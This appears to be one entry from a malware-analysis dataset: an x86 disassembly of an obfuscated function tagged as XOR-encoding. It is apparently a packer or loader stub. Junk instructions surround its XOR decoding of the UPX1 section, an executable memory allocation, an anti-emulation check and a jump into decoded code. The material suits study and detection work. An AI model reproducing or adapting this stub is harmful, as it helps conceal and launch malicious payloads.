Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe036ca52
add edx, edx
dec edi
mov edx, 0xb70f31e2
popal
add edi, 0x4348e9f8
sub edi, 0x1e803d0d
inc edi
mov ebx, 0
mov ecx, edx
add esi, eax
add esi, 0x1708db63
mov esi, eax
mov edi, ecx
not eax
mov eax, 0xf467cb5b
add eax, 0x684d8959
mov edx, edi
add esi, eax
add eax, eax
inc ebx
not esi
or esi, eax
cmp ebx, 0x1007b1b
jne 0xa789cd
add eax, 1
add esi, 0x4dae3313
mov eax, esi
mov edx, 0xb8dcaf78
inc edi
mov edx, 0xc666b2dc
mov edx, 0xa78796
add esi, 0xaee56b6f
not ecx
and eax, eax
mov edi, 0xa7898a
add esi, 1
sub esi, eax
mov ebx, dword [edx]
sub eax, 0xe3761ff3
mov ecx, esi
add esi, esi
and ebx, 0xff
mov ecx, eax
or ecx, ecx
sub esi, 0x8d43e6c2
xor dword [edi], ebx
sub ecx, 0x1cbcb4f7
sub esi, eax
add edi, 1
sub eax, 0x21cbddbd
add esi, 0x66613a78
dec eax
add edx, 1
mov esi, 0x864abc64
inc esi
sub ecx, eax
cmp edi, entry0
jl 0xa78a34
and esi, esi
add eax, esi
mov eax, 0x21d8236f
mov eax, ecx
mov esi, 0xd11ddd92
add ebx, 1
mov ebx, 0x3bac05d5
mov edi, 0xa7898e
add ebx, edx
mov ebx, 0xb3e30ea1
mov edi, dword [edi]
mov ecx, 0x5e33ab20
and edx, esi
mov edi, dword [edi]
sub esi, 0xa8769ec
mov esi, 0xdd4a052e
push edi
inc ecx
not ecx
add edx, 0x13eda914
mov edi, 0xa7898a
add ecx, ecx
not ebx
mov edi, dword [edi]
or esi, ebx
or ecx, ebx
mov edi, dword [edi]
not ebx
add ebx, esi
inc esi
push 0xa78992
not ebx
inc edx
and esi, esi
call edi
inc ebx
inc ebx
mov ecx, esi
pop edi
dec edx
add ebx, 0x58f6083e
push 0xa7899f
add ecx, ecx
and ebx, edx
or ebx, ecx
push eax
mov esi, 0x56b2984d
sub edx, ebx
call edi
sub ebx, 1
add ebx, ecx
sub ebx, ecx
sub esp, 4
mov dword [esp], 0x40
sub esi, ebx
mov ebx, edx
push 0x3000
sub esi, 0x6e226192
add esi, ebx
inc edx
push 0x20000921
add esi, ebx
mov ecx, esi
push 0
add edx, ebx
add ebx, 0xc3751a33
inc ebx
call eax
not ecx
mov esi, 0x269d71eb
mov esi, 0x61533a2b
add eax, 0x20000867
or edx, esi
and ebx, edx
mov edi, 0xf61f568f
inc edx
add ecx, esi
and ebx, ecx
mov dword [eax], edi
mov ecx, ebx
add edx, ecx
mov edi, dword [eax]
add esi, 0x709bd3ed
and edx, ecx
sub ebx, esi
cmp edi, 0xf61f568f
je 0xa78b91
mov eax, 0
mov edx, dword [eax]
mov ebx, 0x8c798206
mov ebx, 0x2d12874
add ecx, 0xbb5e4fcc
or edx, edx
mov ecx, esi
mov ebx, edx
dec edx
sub edx, edi
mov ecx, section.UPX1
or edx, edi
sub edi, 0xe1f1a991
or edx, edi
mov esi, 0xa78795
mov edi, edx
dec edx
or edx, edx
mov ebx, 0
add edi, edi
mov edx, 0x17ad240b
mov eax, 0xa78796
sub edx, 0x7c27c6dc
and edi, edi
sub edi, edx
lea eax, [eax + ebx]
add edi, edx
not edi
mov eax, dword [eax]
and edi, edx
sub edi, 0x35ba2556
and eax, 0xff
mov edx, 0x1e00077c
mov edi, 0x1c0bc154
mov edi, edx
inc ebx
mov edx, 0x619f7514
mov edi, 0x6fa44bdb
cmp ebx, 0x1f4
jne 0xa78c19
mov ebx, 0
dec edx
sub edx, edi
add edx, 0x2fe9bc42
sub edx, 0xbcea2a25
not edi
xor dword [ecx], eax
mov edx, 0x6bf50a34
sub edx, 1
add ecx, 2
not edx
dec edx
inc edx
cmp ecx, esi
jl 0xa78bcf
add edi, 0xf432a352
inc edx
add edx, edx
add edi, edx
mov ebx, section.UPX1
not esi
mov esi, 0xb0f39ac7
mov edi, section.UPX1
add ecx, 0x3866c849
add esi, 1
mov eax, 0xa78795
sub ecx, esi
add esi, 0xc2671a57
mov edx, 0
add ecx, ecx
sub ecx, esi
mov dl, byte [edi]
add ecx, 0x112e5b96
or ecx, esi
sub ecx, esi
mov byte [ebx], dl
mov esi, 0x6fc6cb17
sub ecx, 0xf5e5c46a
add ebx, 1
add esi, 1
add ecx, 0xf8ca7d2e
add edi, 2
dec ecx
not esi
or ecx, esi
cmp edi, eax
jle 0xa78c87
sub esi, ecx
dec esi
sub ecx, 0xccdef020
add edi, 0xa64220e2
mov edi, edx
sub esp, 4
mov dword [esp], 0x8dc6a0
inc edi
add edi, edi
ret